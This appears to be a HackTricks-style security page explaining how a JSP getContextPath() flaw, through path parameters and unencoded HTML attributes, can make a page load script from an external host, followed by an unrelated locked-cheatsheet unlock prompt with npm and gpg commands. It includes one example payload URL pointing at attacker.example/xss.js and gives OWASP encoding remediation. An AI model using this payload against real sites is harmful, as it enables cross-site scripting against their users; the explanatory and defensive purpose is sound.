// HackTricks · Network Services

JSP

JSP

Some JSP applications prepend request.getContextPath() to relative resource URLs in attributes such as src, href, or action. If a servlet container incorporates attacker-controlled path parameters into that value and the template does not apply HTML-attribute encoding, HTML character references can transform the rendered value into a protocol-relative URL on an attacker-controlled host.[1]

http://127.0.0.1:8080//attacker.example/xss.js#/..;/..;/contextPathExample/test.jsp

In an affected page, the browser decodes &sol; as / and &num; as #. A generated resource URL can therefore begin with //attacker.example/xss.js, while the fragment hides the remaining path. If this value reaches a <script src> attribute, the page loads attacker-controlled JavaScript and the issue becomes XSS; other resource attributes may enable related content injection.[1]

Developer tools showing page resources redirected to an external host through getContextPath manipulation

Apply context-appropriate output encoding to dynamic values placed in HTML attributes. For a URL embedded in an attribute, OWASP recommends URL encoding followed by HTML-attribute encoding; using a fixed, trusted resource base also avoids deriving an origin from request-controlled path data.[2]

References

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.